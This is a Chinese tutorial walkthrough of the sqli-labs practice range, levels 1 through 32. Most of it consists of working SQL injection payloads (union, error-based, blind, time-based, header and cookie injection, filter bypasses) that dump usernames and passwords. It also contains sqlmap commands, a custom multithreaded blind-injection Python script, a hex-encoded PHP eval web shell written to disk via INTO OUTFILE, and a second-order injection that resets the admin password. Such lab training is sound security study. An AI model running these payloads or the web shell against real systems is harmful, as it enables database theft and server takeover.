目录见左侧
前言
本文详细解析了sqli-labs靶场中不同种类的SQL注入的测试方法、闭合方式、过滤机制及绕过策略,包括联合查询、报错注入、延时注入和布尔盲注等技巧,以及如何利用注入漏洞获取数据库信息和写入木马获取shell。
环境:phpstudy(apache2.4.39,Mysql5.7.26,php5.3.29),Chrome(带HackBar插件),python3.11.4,sqlmap,中国蚁剑,tomcat,java
看前须知:直接从本文复制的payload中有些空格为非断空格导致SQL解析不了报错,最好是按照步骤一个个手工输入
基础知识
什么是SQL注入
当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
系统库
在5.0以上的大版本提供了访问数据库元数据(sql服务自带的数据库)的方式。
- information_schema 库:是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息(例如数据库或表的名称,列的数据类型或访问权限)
SCHEMATA表:提供了所有数据库信息。schema_name:数据库名
TABLES表:提供了所以表的信息。table_name:表名 table_schema:表所属的数据库
COLUMNS表:详细描述了每张表的所有列的信息。column_name:字段名 table_name:字段所属的表名 table_schema:表所属的数据库名
- performance_schema库:具有87张表,MySQL 5.5开始新增的一个数据库,主要用于收集数据库服务器性能参数。内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级。
- mysql库:是核心数据库,类似于sql server中的master表,主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。常用举例:在mysql.user(5.7版本之前)表中修改root用户的密码sys库
- sys库:sys库是MySQL 5.7增加的系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据。可以查询谁使用了最多的资源,哪张表访问最多等。
常用的系统函数
- version()——MySQL 版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作系统版本
常用的字符串连接函数
- concat(str1,str2,...)——没有分隔符地连接字符串
- concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
- group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
第一部分(Less-1~22)
Less-1
首先在index.php中找到源码:
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
意思是以GET方式(从url中)获取参数id的值,然后传输到$sql中
这种$id用'(或")闭合成为字符型注入
尝试在url中注入:?id=1'
报错是因为注入后的sql语句 变成:select ... where id='1'' limit 0,1
为了消除后面的',注入:?id=1'--+
发现有回显,说明'被成功注释。
注:Mysql的注释有:
# 注释
-- 注释
/* 注释 */
这里的+经过url编码后是空格,%23经url编码是#,将--+换成%23效果是一样的
注入:?id=1' order by 3--+
注入:?id=1' order by 4--+
报错说order by中的不明列'4',因为order by后面跟数字n代表查询结果根据第n列排序,上面两种注入结果说明能根据第3列排序但不能根据第4列排序,也就是查询结果没有第四列。
尝试注入:?id=-1' union select 1,2,3--+
发现回显点2和3
注入:?id=-1' union select 1,version(),database()--+
数据库版本在5.0大版本以上,说明可以利用information_schema系统库,数据库名是security
注入:?id=-1' union select 1,user(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
解析下 select group_concat(table_name) from information_schema.tables where table_schema=database()
改sql语句的作用是筛选当前数据库下的所有表名,information_schema系统库的tables表存储所有表的表名和所属数据库,条件where将表的所属数据库锁定成当前数据库,group_concat将table_name字段下所有数据连接起来并用,分隔开
查询发现当前数据库下的表有4个,猜测users表最有可能存储所有用户名和密码
注入:?id=-1' union select 1,user(),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')--+
解析下select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
该sql语句的作用是选出当前数据库下users表的所有字段名,where限制数据库名和表名,column_name是列名
username和password应该是我们想要的了
注入:?id=-1' union select 1,2,group_concat(username,':',password) from users--+
成功爬取所有用户名和密码(脱库)
Less-2
有第一关的经验后,依葫芦画瓢
有点不懂的可以对照本关的sql语句理解:
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
注入:?id=1'
报错说SQL语句中 ' limit 0,1部分报错,这个'是我们加的,说明这里的$id没有闭合,这种我们称为数字型注入
注入:?id=1 order by 4--+
这里的--+注释后面的limit
注入:?id=1 order by 3--+
注入:?id=-1 union select 1,2,3--+
爆表
?id=-1 union select 1,version(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
爆列
?id=-1 union select 1,user(),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')--+
脱库
?id=-1 union select 1,2,group_concat(username,':',password) from users--+
Less-3
练习两关后可以试试不看php代码尝试注入
注入:?id=1'
$id的闭合方式为')
和上面同理最终payload:
?id=-1') union select 1,2,group_concat(username,':',password) from users--+
Less-4
注入:?id=1'
发现并没有报错,那么很可能是这样闭合的:"$id"
注入:?id=1"
报错看出闭合方式为")同理,最终payload为:
?id=-1") union select 1,2,group_concat(username,':',password) from users--+
Less-5(报错注入)
报错注入
前提是在有sql报错信息输出的前提下(存在print_r(mysql_error())函数)
在高版本MySQL(5.1)中添加了对xml文档进行查询和修改的函数
updatexml(XML_document,XPath_string,new_value)
extractvalue(XML_document,xpath_string)
当xpath_string中出现不属于xpath格式的字符(如~)会爆xpath语法错误
还有一种floor报错注入,前提条件不仅要有报错信息还得表中至少有3条数据
这一关注入?id=1
发现没有回显账号名密码,这样就不能用union select联合查询找回显点了
注入:?id=1'
发现有报错信息,符合报错注入前提,并且闭合方式为'
注入:?id=1' and updatexml(1,0x7e,1)--+
发现存在xpath报错,这里的0x7e是 ~ 转十六进制后的数,你也可以将前面注入的 ...where table_name='users' 中 'users' 换成对应的十六进制数,字符串替换成十六进制数有一定的绕过作用,接下来用concat连接0x7e和select语句就行
爆表
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+
爆列
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),1)--+
脱库
?id=1' and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)),1)--+
由于xpath报错有限制长度,所以用limit来逐条爆破,group_concat换成concat。
limit 0,1表示从0开始选1条数据,接下来是limit 1,1 limit 2,1 limit 3,1等
Less-6
注入:?id=1"
发现闭合方式为",和上一关同理采用报错注入,这里用extractvalue函数
最终payload为:
?id=1" and extractvalue(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)))--+
Less-7(文件读写注入)
这一关的标题要求我们用文件读写
文件读写注入条件
在配置文件中设置
secure_file_priv=''
注:Windows的配置文件在mysql下的my.ini
Linux的配置文件在/etc/conf
php的配置文件php.ini关闭魔术引号
magic_quotes_gpc = Off
知道服务器的绝对路径
登录的账户具有root权限
读取文件
load_file()
例:select load_file("D:/password.txt") # 读取D盘下的password.txt文件
写文件
into outfile 路径
利用文件读写注入写入木马
利用报错信息判断闭合方式为'))
写入一句话木马:
?id=-1%27))%20union%20select%201,2,0x3c3f70687020406576616c28245f504f53545b27636d64275d29203f3e%20into%20outfile%20"...\\sqli-labs\\Less-7\\shell.php"--+
这里的路径换成自己服务器上的绝对路径
成功写入木马,上面的0x3c...是<?php @eval($_POST['cmd']) ?>转十六进制的结果,如果Windows安全中心报警说有php后门安全问题,点击允许在设备上,执行操作即可
打开中国蚁剑,右键添加连接
填好刚刚写入的木马文件所在地址,密码是木马中的cmd,点测试连接,成功!
Less-8(布尔盲注,sqlmap)
函数介绍
ascii(str) # 返回字符串的ASCII码
length(str) # 返回字符串的长度
mid(str,index,j) # 返回str的从index开始后的j位(index是从1开始的)
substr(str,index,j) # 和mid功能一样
这一关发现不管怎么注入都没有报错信息,但是有登录成功与否的回显,这里我们用一种新的注入方式:布尔盲注
尝试注入:?id=1' and 1=1--+
再注入:?id=1' and 1=2--+
说明and后的条件判断为true时才有回显
猜解数据库长度:?id=1' and length(database())=8--+
有回显说明数据库长度是8,这里可以用二分法一步步尝试,比如从<100到<50到<25...最后再用等于确定长度是8
猜解数据库名:?id=1' and ascii(mid(database(),1,1))=115--+
字符s的ASCII码是115,说明database()的第一个字符是s,按照相同的办法猜表名和字段名即可
上面只是介绍布尔盲注的原理,对于盲注的问题一般采用脚本或者工具来处理,这里用sqlmap来示范
sqlmap的使用
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --batch --dbs
--batch表示碰到选择时选用默认选项,--dbs表示爬取所有数据库名
-D 库名 --tables表示爬取某数据库下的所有表
-D 库名 -T 表名--columns表示爬取某库下某表的所有列
Less-9(延时注入)
本关用到的函数:
if(条件,a,b) # 当条件为真返回a,否则返回b
sleep(5) # 进程睡眠5秒
尝试了多种注入方式发现回显都一样,这里试试延时注入
注入:?id=1' and if(1,sleep(5),1)--+
发现页面加载时间变长了,说明if条件判断生效了,即存在注入点
猜数据库长度:?id=1' and if(length(database())=8,sleep(5),1)--+
页面返回时间变长,说明数据库长度为8
逐个猜解数据库:?id=1' and if(ascii(mid(database(),1,1))=115,sleep(),1)--+
页面返回时间变长,说明数据库第一个字符为s
延时盲注也能用sqlmap:
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1" --batch --dbs
Less-10
和上一关一样用延时注入,只是闭合方式换成了"
注入:?id=1"%20and%20if(1,sleep(5),1)--+
返回时间变长,存在注入点
猜数据库长度:?id=1" and if(length(database())=8,sleep(5),1)--+
逐个猜解数据库:?id=1" and if(ascii(mid(database(),1,1))=115,sleep(),1)--+
用sqlmap
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-10/?id=1" --batch --dbs
Less-11(POST)
这里开始请求方式从GET转化成了POST,注入原理和前面一样,这里用HackBar插件,当然你也可以用burp suite抓包到repeate模块也是一样的
index.php源码:
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
随便填个账号密码提交,在hackbar中点击load
注入:passwd=admin&submit=Submit&uname=admin'
点击execute
发现报错,发现闭合方式是'
注入:passwd=admin&submit=Submit&uname=admin'--
有账户密码的回显
注入:passwd=admin&submit=Submit&uname=admin' order by 3--
发现查询结果为2列
passwd=admin&submit=Submit&uname=' union select 1,2--
发现回显点1和2
爆表
passwd=admin&submit=Submit&uname=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--
爆列
passwd=admin&submit=Submit&uname=' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')--
脱库
passwd=admin&submit=Submit&uname=' union select 1,group_concat(username,':',password) from users--
Less-12
有了上一关的经验,直接注入
从报错信息看出闭合方式为")
依次尝试:
passwd=123456&submit=Submit&uname=admin") order by 3--
passwd=123456&submit=Submit&uname=admin") order by 2--
passwd=123456&submit=Submit&uname=") union select 1,2--
爆表
passwd=admin&submit=Submit&uname=") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--
爆列
passwd=admin&submit=Submit&uname=") union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')--
脱库
passwd=admin&submit=Submit&uname=") union select 1,group_concat(username,':',password) from users--
Less-13
passwd=123456&submit=Submit&uname=admin'
闭合方式为')
和上一关不一样的是没有账号密码回显,但还是有报错信息,使用报错注入
爆表
passwd=admin&submit=Submit&uname=') or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列
passwd=admin&submit=Submit&uname=') or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1)#
脱库
passwd=admin&submit=Submit&uname=') or updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)),1)#
Less-14
不同于上一关的是闭合方式为"依然使用报错注入
脱库
passwd=admin&submit=Submit&uname=" or updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)),1)#
Less-15
这关没有报错回显,先找找有没有注入点
发现注入点,尝试布尔盲注,爆破数据库长度
用sqlmap
python3 sqlmap.py -r "./1.txt" --batch --dbs --users
通过burp suite抓包,将抓包内容保存在sqlmap文件夹下的1.txt
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-15/" --data "uname=test&passwd=test&submit=Submit" -p "uname,passwd" --dbs --users --batch
--data指出POST传递的表单参数,-p指定对哪个参数测试
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-15/" --forms --dbs --users --batch
--forms表示自动搜索表单
Less-16
找到注入点,同样使用布尔盲注
passwd=123456&submit=Submit&uname=admin") and length(database())=8#
用sqlmap
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-16/" --forms --dbs --users --batch
Less-17
index.php源码:
$uname=check_input($con1, $_POST['uname']);
$passwd=$_POST['passwd'];
$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
$row1 = $row['username'];
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
}
源码中发现uname已经被函数check_input过滤,只能从passwd注入了:
注入:passwd=123456'&submit=Submit&uname=admin
有报错信息可以用报错注入:
passwd=123456' or extractvalue(1,concat(0x7e,database()))#&submit=Submit&uname=admin
数据库爆破成功
最终payload:
passwd=123456' and extractvalue(1,concat(0x7e,(select * from(select concat(username,':',password) from users limit 0,1)x)))#&submit=Submit&uname=admin
这里不允许在update中引用正在更新的表,所以这里使用派生表x
Less-18(User-Agent头部注入)
随便登录个用户发现返回
通过返回结果判断很可能记录HTTP头的user agent
查看源码:
$uname = check_input($con1, $_POST['uname']);
$passwd = check_input($con1, $_POST['passwd']);
$uagent = $_SERVER['HTTP_USER_AGENT'];
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
发现uname和passwd都做了过滤,那么只能从user agent下文章
注意这里用户名和密码要先保证是正确的
修改User-Agent: '
发现有SQL报错可以尝试报错注入,从报错信息可以看出闭合方式很可能是'并猜测很可能是insert语句,这里可以尝试拼接:
User-Agent: ' and extractvalue(1,concat(0x7e,database())) and'
前后两端的'是为了闭合原有的单引号中间用and,or等连接即可
也可以将insert后的IP,uname补充然后注释掉:
User-Agent: ' or extractvalue(1,concat(0x7e,database())),1,1)#
最终的payload:
User-Agent: ' or extractvalue(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1))) and'
Less-19(Referer)
随便登录一个账户发现,回显Referer字段,有了上关的经验,直接在HTTP头的Referer字段注入
Referer: '
闭合方式是'
Referer: ' or extractvalue(1,concat(0x7e,database())) or'
最终的payload:
Referer: ' or extractvalue(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1))) or'
Less-20(Cookie)
随便登录个账户
发现回显中记录了cookie,加上标题也是Cookie Injection,直接注入:
Cookie: uname=admin'
从报错信息看出闭合方式为'后面有limit,很可能是select语句
依次注入:
Cookie: uname=admin' order by 3#
Cookie: uname=admin' order by 4#
Cookie: uname=' union select 1,2,3#
出现回显点,按照之前的思路注入即可
最终payload:
Cookie: uname=' union select 1,2,(select group_concat(username,':',password) from users)#
Less-21
登录后发现Cookie被加密了,用Burp suite的Decoder模块按照base解密时刚好是admin
那么和上一关差不多,只需将uname=后面的部分经过base64加密再注入就行
Cookie: uname=YWRtaW4n
上面实际注入的是admin',发现闭合方式是')
依次注入:
Cookie: uname=YWRtaW4nKSBvcmRlciBieSAzIw==
Cookie: uname=YWRtaW4nKSBvcmRlciBieSA0Iw==
Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsMiwzIw==
发现回显点,按之前的思路注入即可,最终payload:
Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsMiwoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSwnOicscGFzc3dvcmQpIGZyb20gdXNlcnMpIw==
Less-22
这关和上一关一样,只是闭合方式换成了"
大家自己动手做一下,这里给出最终payload:
Cookie: uname=IiB1bmlvbiBzZWxlY3QgMSwyLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLCc6JyxwYXNzd29yZCkgZnJvbSB1c2Vycykj
第二部分(Less-23~37)
Less-23 (no comments)
标题说no comments说明注释被过滤了,查看下源码:
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
可以看到注释被替换成了空字符,这里有两种方法绕过
采用闭合的方式:
?id=' or extractvalue(1,concat(0x7e,database())) or'
将前后两个单引号闭合再用or连接
采用;%00替换注释:
?id=1';%00
%00代表NUL用于阻止后续的安全检查
用这两种方法加上前面学习的内容就很容易完成后续注入了,直接给出最终payload:
?id=' union select 1,2,group_concat(username,':',password) from users;%00
Less-24(二次注入)
二次注入
二次注入是存储型注入,可以理解为构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入。
当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。简言之就是将脏数据进行简单过滤后开发者就认为该数据可信便存入数据库中,当下一次调用该数据时,该数据就会拼接到其他查询语句中造成注入。
查看源码发现pass_change.php:
$username= $_SESSION["username"];
$curr_pass= mysqli_real_escape_string($con1, $_POST['current_password']);
$pass= mysqli_real_escape_string($con1, $_POST['password']);
$re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
}
只有username没有被过滤,这个username是登录成功后存储在服务器的SESSION中的,符合二次注入的条件
注册一个账号admin'# 密码123456
登录该账号后,更改该账户的密码为12345
此时执行的SQL语句为:
UPDATE users SET PASSWORD='12345' where username='admin'#' and password='123456'
如此一来实际更改的是用户admin的密码,现在登录admin密码12345发现登录成功。利用这个漏洞可以更改其他用户(如管理员)的密码,以此登录后台。
Less-25 (and,or)
这一关过滤了and和or,结合源码:
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
将and和or替换成空字符,i的意思是忽略大小写,也就是大小写混着写也会被匹配的
由于只替换了一次可以尝试双写绕过
?id=1%27%20anandd%201=1;%00
还有一种方法是
and -> &&
or -> ||
由于apache解析的问题&&要换成经url编码后的%26%26
中间要注意information和password中的or也要双写,可以参考下面的Hint提示
最终payload:?id=%27%20union%20select%201,2,group_concat(username,%27:%27,passwoorrd)%20from%20users;%00
Less-26(space)
这关过滤了所有注释,and,or,空格,正反斜杠。结合源码
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
\s将所有空格,制表符,换行符都过滤了,本来可以用%a0代替,%a0是非断空格,似乎是编码原因mysql解析不了(有哪位大哥懂的可以在评论区解惑一下),没有空格可以用()闭合绕过
?id=' || extractvalue(1,concat(0x7e,database()));%00
爆表
?id=%27%20||%20extractvalue(1,concat(0x7e,(select%20(group_concat(table_name))%20from%20(infoorrmation_schema.tables)%20where%20(table_schema=database()))));%00
爆列
?id=%27%20||%20extractvalue(1,concat(0x7e,(select%20(group_concat(column_name))%20from%20(infoorrmation_schema.columns)%20where%20(table_schema=database())%20anandd%20(table_name=%27users%27))));%00
脱库
?id=%27%20||%20extractvalue(1,concat(0x7e,(select%20(concat(username,%27:%27,passwoorrd))%20from%20(users)%20where(id=1))));%00
Less-26a
与上一关的区别是没有报错信息,只能采用盲注了
注入:?id=2%27)%26%26(1=1);%00
注入:?id=2%27)%26%26(1=2);%00
找到注入点
使用脚本注入(自己写的一个较简单)
import concurrent.futures
import requests
import threading
# 定义所有可能的字符集
ALL_ALPHA = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '_', ',', '-', '@', '!', '~', ':']
# SQL注入载荷模板
PAYLOADS = [
["length(database())>$NUM$", "mid(database(),$START$,1)='$ALPHA$'"],
["(select (length(group_concat(schema_name))) from information_schema.schemata)>$NUM$", "(select mid(group_concat(schema_name),$START$,1) from information_schema.schemata)='$ALPHA$'"],
["(select length(group_concat(table_name)) from information_schema.tables where table_schema='YOUR_DB')>$NUM$", "(select mid(group_concat(table_name),$START$,1) from information_schema.tables where table_schema='YOUR_DB')='$ALPHA$'"],
["(select length(group_concat(column_name)) from information_schema.columns where table_schema='YOUR_DB' and table_name='YOUR_TABLE')>$NUM$", "(select mid(group_concat(column_name),$START$,1) from information_schema.columns where table_schema='YOUR_DB' and table_name='YOUR_TABLE')='$ALPHA$'"],
["(select length(group_concat(YOUR_COLUMN)) from YOUR_DB.YOUR_TABLE)>$NUM$", "(select mid(group_concat(YOUR_COLUMN),$START$,1) from YOUR_DB.YOUR_TABLE)='$ALPHA$'"]
]
lock = threading.Lock() # 线程锁,用于同步写入结果
result = {} # 存储最终结果的字典
check_current = '' # 当前使用的SQL注入载荷
low, high = 1, 1024 # 长度二分查找范围
max_thread = 100 # 最大线程数
response_in_url = "you are in" # 成功注入的响应标识
def check_url(url: str, start: int, char: str):
"""检查URL是否符合给定条件"""
payload = check_current[1].replace("$ALPHA$", char).replace("$START$", str(start))
# or和and绕过
url = url.replace("$FUZZ$", payload).replace("or",'oorr').replace("and",'anandd')
try:
response = requests.get(url)
if response_in_url in response.text.lower():
with lock:
if start not in result: # 只有当该位置还未被填充时才更新结果
result[start] = char
return True # 返回True表示找到了正确的字符
except requests.RequestException as e:
print(f"Failed to reach {url}: {e}")
return False
def check_length(url: str, low: int, high: int) -> int:
"""使用二分法确定目标字符串长度"""
while low < high:
mid = (low + high) // 2
payload = check_current[0].replace("$NUM$", str(mid))
try:
response = requests.get(url.replace("$FUZZ$", payload).replace("or",'oorr').replace("and",'anandd'))
if response_in_url in response.text.lower():
low = mid + 1
else:
high = mid
except requests.RequestException as e:
print(f"Failed to reach {url}: {e}")
return high
def main():
mode = input("选择模式:布尔盲注(1)还是延时注入(2)->\n")
if mode == '1':
url = input("输入URL,注入点用$FUZZ$代替->\n")
global max_thread, response_in_url
max_thread = int(input('最大线程数->\n'))
response_in_url = input('成功注入的回显(小写)->\n')
search_type = input("想要查询当前数据库(1),所有数据库(2),表(3),字段(4),数据(5)->\n")
global check_current
# 根据用户输入设置当前使用的载荷
if search_type == '1':
check_current = PAYLOADS[0]
elif search_type == '2':
check_current = PAYLOADS[1]
elif search_type == '3':
db_name = input("数据库名称->\n")
check_current = [p.replace('YOUR_DB', db_name) for p in PAYLOADS[2]]
elif search_type == '4':
db_name = input("数据库名称->\n")
table_name = input("数据表名称->\n")
check_current = [p.replace('YOUR_DB', db_name).replace('YOUR_TABLE', table_name) for p in PAYLOADS[3]]
elif search_type == '5':
db_name = input("数据库名称->\n")
table_name = input("数据表名称->\n")
column_name = input("字段名称(多个字段用逗号分隔)->\n").replace(",", "',':',")
check_current = [p.replace('YOUR_DB', db_name).replace('YOUR_TABLE', table_name).replace('YOUR_COLUMN', column_name) for p in PAYLOADS[4]]
else:
print("输入错误")
return
length = check_length(url, low, high)
with concurrent.futures.ThreadPoolExecutor(max_workers=max_thread) as executor:
futures = set()
def submit_tasks(index):
"""提交特定索引处的所有任务"""
if index + 1 not in result: # 如果该位置尚未被猜解出来
for c in ALL_ALPHA:
futures.add(executor.submit(check_url, url, index + 1, c))
# 提交所有任务
for index in range(length):
submit_tasks(index)
# 处理已完成的任务
for future in concurrent.futures.as_completed(futures):
try:
if future.result(): # 如果找到了正确的字符,则移除相关的其他任务
with lock:
position = next((pos for pos in range(length) if pos + 1 not in result), None)
if position is not None:
submit_tasks(position)
except Exception as e:
print(f"A task generated an exception: {e}")
# 整理并打印结果
result_list = [result[i + 1] for i in range(length)]
print(''.join(result_list))
elif mode == '2':
pass # 延时注入的实现可以在这里添加
else:
print("模式选择错误")
if __name__ == "__main__":
main()
示例:
Less-27
这关union和select被过滤了,查看源码:
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
注释绕过参考23关。这里select和union大小写敏感可以用大小写混写绕过(seLECt),或者用三写绕过因为只过滤了两次(selselselectectect),union绕过同理。由于只匹配了空格,可以用换行(%0a)绕过。
注入:?id=1'
可以看出闭合方式为'
依次注入:
?id=1%27%0aorder%0aby%0a3;%00
?id=1%27%0aorder%0aby%0a4;%00
?id=0%27%0aunIOn%0aSeleCT%0a1,2,3;%00
发现注入点2和3,依照之前学的注入就行,最终payload:
?id=0%27%0aunIOn%0aSeleCT%0a1,(selECt%0agroup_concat(username,%27:%27,password)%0afrom%0ausers),3;%00
Less-27a
和上一关不一样的是没有报错提示
注入:?id=2"%0aand%0a1=1;%00
注入:?id=2"%0aand%0a1=2;%00
发现注入点,依次注入:
?id=2"%0aorder%0aby%0a3;%00
?id=2"%0aorder%0aby%0a4;%00
?id=0"%0auNIon%0aSelECt%0a1,2,3;%00
发现注入点2和3,直接给出最终payload:
?id=0"%0auNIon%0aSelECt%0a1,2,(selECt%0agroup_concat(username,%27:%27,password)%0afrom%0ausers);%00
Less-28
这关过滤的是union select这个整体,源码如下:
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
注释绕过参考23关,空格用%0a绕过,union select绕过也很简单直接将这个整体双写即可。需要注意的是这里没有报错提示。
依次注入:
?id=2%27)%0aand%0a1=1;%00
?id=2%27)%0aand%0a1=2;%00
?id=2%27)order%0aby%0a3;%00
?id=2%27)order%0aby%0a4;%00
?id=0%27)%0aunion%0aseunion%0aselectlect%0a1,2,3;%00
发现回显点2和3,这里直接给出最终payload:
?id=0%27)%0aunion%0aseunion%0aselectlect%0a1,2,(selECt%0agroup_concat(username,%27:%27,password)%0afrom%0ausers);%00
Less-28a
比上一关更简单直接只过滤union select,其他没过滤,闭合方式也和上一关一样,上一关直接拿来用就行。
Less-29(HTTP参数污染)
从29到31关,要用到启动tomcat作为过滤服务器,确定参数安全后才交给apache服务器。只需将sqli-labs文件夹下的tomcat-files.zip解压到tomcat/webapp/ROOT目录下,启动tomcat/bin下的startup.bat即可(关闭为shutdown.bat)。
HTTP参数污染
由于tomcat和apache解析参数的顺序不同,当注入两个参数?id=1&id=2,此时tomcat解析的是第一个参数,而apache解析的是第二个参数并且SQL语句也是在apache服务器上执行的,由此绕过tomcat的检测。

注入:?id=1&id=2%27
发现闭合方式为'
依次注入:
?id=1&id=2%27%20order%20by%203--+
?id=1&id=2%27%20order%20by%204--+
?id=1&id=0%27union%20select%201,2,3--+
发现回显点2和3,直接给出最终payload:
?id=1&id=0%27union%20select%201,2,(select%20group_concat(username,%27:%27,password)%20from%20users)--+
Less-30
依次注入:
?id=1&id=2"%20and%201=1--+
?id=1&id=2"%20and%201=2--+
?id=1&id=2"%20order%20by%203--+
?id=1&id=2"%20order%20by%204--+
?id=1&id=-2"%20union%20select%201,2,3--+
发现回显点,最终payload:
?id=1&id=-2"%20union%20select%201,2,(select%20group_concat(username,%27:%27,password)%20from%20users)--+
Less-31
注入:?id=1&id=2"
可以看出闭合方式为")
依次注入:
?id=1&id=2")%20and%201=1--+
?id=1&id=2")%20and%201=2--+
?id=1&id=2")%20order%20by%203--+
?id=1&id=2")%20order%20by%204--+
?id=1&id=-2")%20union%20select%201,2,3--+
发现回显点2和3,给出最终的payload:
?id=1&id=-2")%20union%20select%201,2,(select%20group_concat(username,%27:%27,password)%20from%20users)--+
Less-32(宽字节注入)
Less-32~37关用到宽字节注入
宽字节注入
原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。因此我们在此想办法将'前面添加的\除掉,一般有两种思路:
- %df 吃掉 \。具体的原因是 urlencode(\') = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
- 将 \’ 中的 \ 过滤掉,例如可以构造 %5c%5c%27 的情况,后面的%5c 会被前面的%5c给注释掉。这也是 bypass 的一种方法。
本关源码参考:
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
